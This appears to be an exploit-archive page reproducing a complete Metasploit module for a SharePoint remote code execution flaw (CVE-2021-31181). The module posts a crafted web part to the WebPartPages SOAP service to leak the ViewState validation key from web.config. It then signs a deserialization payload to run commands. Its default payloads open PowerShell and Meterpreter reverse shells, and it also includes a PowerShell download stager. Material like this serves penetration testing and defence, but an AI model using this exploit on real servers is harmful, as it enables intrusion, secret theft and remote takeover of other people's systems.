Microsoft SharePoint Unsafe Control And ViewState Remote Code Execution

2021.06.19
Credit: unknown
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Sharepoint include Msf::Exploit::CmdStager include Msf::Exploit::Powershell XML_NS = { 'wpp' => 'http://microsoft.com/sharepoint/webpartpages', 'soap' => 'http://www.w3.org/2003/05/soap-envelope', 'xsi' => 'http://www.w3.org/2001/XMLSchema-instance', 'xsd' => 'http://www.w3.org/2001/XMLSchema' }.freeze def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft SharePoint Unsafe Control and ViewState RCE', 'Description' => %q{ The EditingPageParser.VerifyControlOnSafeList method fails to properly validate user supplied data. This can be leveraged by an attacker to leak sensitive information in rendered-preview content. This module will leak the ViewState validation key and then use it to sign a crafted object that will trigger code execution when deserialized. Tested against SharePoint 2019 and SharePoint 2016, both on Windows Server 2016. }, 'Author' => [ 'Unknown', # Reported to HP ZDI team, Vulnerability discovery 'Spencer McIntyre', # Module 'wvu' # Module ], 'References' => [ [ 'CVE', '2021-31181' ], [ 'ZDI', '21-573' ], [ 'URL', 'https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-webpart-interpretation-conflict-remote-code-execution-vulnerability' ] ], 'DisclosureDate' => '2021-05-11', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Windows Command', { 'Arch' => ARCH_CMD, 'Type' => :win_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } } ], [ 'Windows Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :win_dropper, 'DefaultOptions' => { 'CMDSTAGER::FLAVOR' => :psh_invokewebrequest, 'PAYLOAD' => 'windows/x64/meterpreter_reverse_https' } } ], [ 'PowerShell Stager', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :psh_stager, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_https' } } ] ], 'DefaultTarget' => 2, 'DefaultOptions' => { 'DotNetGadgetChain' => :TypeConfuseDelegate }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('VALIDATION_KEY', [false, 'ViewState validation key']), OptString.new('COOKIE', [false, 'SharePoint cookie if you have one']), OptString.new('SP_LIST', [true, 'SharePoint site SPList', 'Documents']), # "Promote" these advanced options so we don't have to pass around our own OptString.new('HttpUsername', [false, 'SharePoint username']), OptString.new('HttpPassword', [false, 'SharePoint password']) ]) end def post_auth? true end def username datastore['HttpUsername'] end def password datastore['HttpPassword'] end def cookie datastore['COOKIE'] end def vuln_builds # https://docs.microsoft.com/en-us/officeupdates/sharepoint-updates # https://buildnumbers.wordpress.com/sharepoint/ # Patched in May of 2021 [ [Rex::Version.new('15.0.0.0'), Rex::Version.new('15.0.0.5337')], # SharePoint 2013 [Rex::Version.new('16.0.0.0'), Rex::Version.new('16.0.0.5149')], # SharePoint 2016 [Rex::Version.new('16.0.0.10000'), Rex::Version.new('16.0.0.10373')] # SharePoint 2019 ] end def check build = sharepoint_get_version('cookie' => cookie) if build.nil? return CheckCode::Unknown('Failed to retrieve the SharePoint version number') end if vuln_builds.any? { |build_range| build.between?(*build_range) } return CheckCode::Appears("SharePoint #{build} is a vulnerable build.") end CheckCode::Safe("SharePoint #{build} is not a vulnerable build.") end def exploit if (username.blank? && password.blank?) if cookie.blank? fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword or COOKIE are required for exploitation') end print_warning('Using the specified COOKIE for authentication') end if (@validation_key = datastore['VALIDATION_KEY']) print_status("Using ViewState validation key #{@validation_key}") else leak_web_config end print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :win_cmd execute_command(payload.encoded) when :win_dropper execute_cmdstager when :psh_stager execute_command(cmd_psh_payload( payload.encoded, payload.arch.first, remove_comspec: true )) end end def leak_web_config print_status('Leaking the ViewState validation key...') web_id = sharepoint_get_site_web_id('cookie' => cookie) fail_with(Failure::UnexpectedReply, 'Failed to retrieve the site web ID') unless web_id webpart = <<~WEBPART <%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Register TagPrefix="att" Namespace="System.Web.UI.WebControls " Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %> WEBPART webpart << Nokogiri::XML(<<-WEBPART, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0) <WebPartPages:XsltListFormWebPart id="id01" runat="server" ListDisplayName="#{datastore['SP_LIST'].encode(xml: :text)}" WebId="{#{web_id.encode(xml: :text)}}"> <DataSources> <att:xmldatasource runat="server" id="XDS1" XPath="/configuration/system.web/machineKey" datafile="c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config" /> </DataSources> <xsl> <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="xml" indent="yes" /> <xsl:template match="/"> <xsl:copy-of select="." /> </xsl:template> </xsl:stylesheet> </xsl> </WebPartPages:XsltListFormWebPart> WEBPART envelope = '<?xml version="1.0" encoding="utf-8"?>' envelope << Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0) <soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope"> <soap12:Body> <RenderWebPartForEdit xmlns="http://microsoft.com/sharepoint/webpartpages"> <webPartXml>#{webpart.encode(xml: :text)}</webPartXml> </RenderWebPartForEdit> </soap12:Body> </soap12:Envelope> ENVELOPE res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '_vti_bin', 'WebPartPages.asmx'), 'cookie' => cookie, 'ctype' => 'application/soap+xml; charset=utf-8', 'data' => envelope ) unless res fail_with(Failure::Unreachable, "Target did not respond to #{__method__}") end unless res.code == 200 fail_with(Failure::NotFound, "Failed to retrieve #{normalize_uri(target_uri.path, '_vti_bin', 'WebPartPages.asmx')}") end xml_response = res.get_xml_document if xml_response.nil? fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (non-XML response body)') end xml_result = xml_response.xpath('//wpp:RenderWebPartForEditResult', XML_NS)&.text unless xml_result fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //wpp:RenderWebPartForEditResult)') end xml_result = Nokogiri::XML(xml_result) web_part_pages = Nokogiri::XML(xml_result.xpath('//Properties').text) unless web_part_pages&.root fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //Properties)') end unless (preview = web_part_pages.root.attr('__designer:Preview')) fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing attribute: __desiginer:Preview)') end preview = Nokogiri::HTML(CGI.unescapeHTML(preview)) unless (@validation_key = preview.at('//machinekey/@validationkey')&.text) fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //machinekey/@validationkey)') end print_good("ViewState validation key: #{@validation_key}") end def execute_command(cmd, _opts = {}) sharepoint_execute_command_via_viewstate(cmd, @validation_key, { 'cookie' => cookie }) end end


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